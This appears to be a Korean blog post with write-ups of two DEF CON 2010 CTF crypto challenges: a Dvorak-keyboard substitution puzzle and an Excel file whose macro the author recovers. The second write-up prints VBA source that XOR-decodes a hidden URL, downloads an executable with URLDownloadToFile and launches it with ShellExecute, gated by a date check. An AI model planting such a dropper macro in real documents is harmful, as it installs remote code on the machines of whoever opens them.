정말 열심히 했던 대회~~~ 오랜만에 나간 대회여서 인지 감도 많이 떨어지고 엄한 삽질도 많이 했지만, 3일간 정말 열심히 했다... 아쉽게 27위했네~~~ㅋㅋㅋㅋ
왜 연휴에 대회를 하냐고~~~~마누라 넘 미안해~~^^

'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] Crypto Badness 300  (0) 2010.05.31
[CTF18] Crypto Badness 100  (0) 2010.05.31

[Crypto 300]

 

[문제설명]

문제에서 제공하는 엑셀파일을 다운받아 실행하면 VB로 만든 게임이 실행된다. 양이 기어다닌다.

예전에 유행했던 프로그램이었는데…..

실제 패킷 캡쳐를 해보면 서버에서 ram.exe파일을 받아 온다. Ram.exe를 실행해도 양이 기어다닌다. 하지만 결국 이 파일은 Fake이다.



문제 파일을 다운로드 후 Passware Password Recovery kit Forensic Version 9.0으로 엑셀파일의 메크로에 설정되어 있는 암호를 크랙함

 

기존의 c300_f75bec6f545034716.xls파일에 패스워드를 대입하면 열리지 않는다.

 

Unprotected file : c300_f75bec6f545034716-unprotected.xls 에서 Visual Basic Editor를 실행  Y6HA1H” 입력하면 project에서 소스코드를 확인할 있다.

 

 

 

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _

  "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _

  szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

 

Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _

  (ByVal hwnd As Long, _

   ByVal lpOperation As String, _

   ByVal lpFile As String, _

   ByVal lpParameters As String, _

   ByVal lpDirectory As String, _

   ByVal nShowCmd As Long) As Long

 

Private Sub GF()

    WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")

    FL = X("51092F16535C6F003A56")

    RV = URLDownloadToFile(0, WL, FL, 0, 0)

 

End Sub

 

Private Sub EX()

    Dim OF As String

    On Error Resume Next

    UP = X("51092F")

    OF = X("40521E4A574924")

    RV = ShellExecute(0, "open", OF, "", UP, 3)

 

End Sub

 

Private Function X(DI As String) As String

    Dim CK, sDO As String

    Dim lDP, iXV1, iXV2 As Integer

   

    On Error Resume Next

   

    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

 

    For lDP = 1 To (Len(DI) / 2)

        iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))

        iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))

        sDO = sDO + Chr(iXV1 Xor iXV2)

    Next lDP

   X = sDO

End Function

 

Sub Rectangle1_Click()

    Asteroids.Show False

    Call MN

End Sub

 

Function KG()

     KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _

            Worksheets("Sheet2").Range("E8761")

End Function

 

Sub MN()

    Dim SD As Date

    Dim ED As Date

    Dim CD As Date

   

'    On Error Resume Next

   

    SD = X("071C41571D03715472")

    ED = X("071C41521D03715472")

   

    CD = Date

   

    If (CD >= SD) And (CD < ED) Then

        Call GF

        Call EX

    End If

End Sub

 

 

 

 

Sheet2(Data)를 살펴보면 visible이 숨김으로 표시되어 있으므로 변경하여 활성화 시켜준다.


 

다음과 같이 Data 쉬트가 활성화 된다.

 

다음 CK 부분이 중요함

CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

 

-AU2-

 

 

-BE4866-

 

-Z9550-

 

 

Key : a23sd21AeB349sdfWewrfw29552

 




'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] '2010 Defcon' My Team(0birthday) Score  (0) 2010.06.03
[CTF18] Crypto Badness 100  (0) 2010.05.31

[crypto 100]

 

Decrypt please

Ocmln. up.'g.bjf abanfoco odrgne er yd. ypcjt d.p. /,.nnw urp yd. mroy lapy=v

Ydco y.qy ,ao ,pcyy.b gocbi a ol.jcan t.fxrapew br bry .pirbrmcjw frg aoodayv

WdcbyV Yd. t.f frg ap. nrrtcbi urp co yd. bam.oat. ru ydco t.fxrapev WzdcbyV

 

드보락(dvorak) 자판은 오거스트 드보락 박사가 제안한 영문 글자판이다.

dvorak keyboard를 이용하여 풀면 된다.

 


http://wbic16.xedoloh.com/dvorak.html

 

Simple frequency analysis should do the trick here [well, for the most part].

This text was written using a special keyboard, no not ergonomic, you asshat.

<hint> The key you are looking for is the namesake of this keyboard. </hint>

문장을 해석하면 드보락에 관한 내용이다.

 

Key : dvorak


'Security > Defcon2010 CTF18' 카테고리의 다른 글

[CTF18] '2010 Defcon' My Team(0birthday) Score  (0) 2010.06.03
[CTF18] Crypto Badness 300  (0) 2010.05.31

+ Recent posts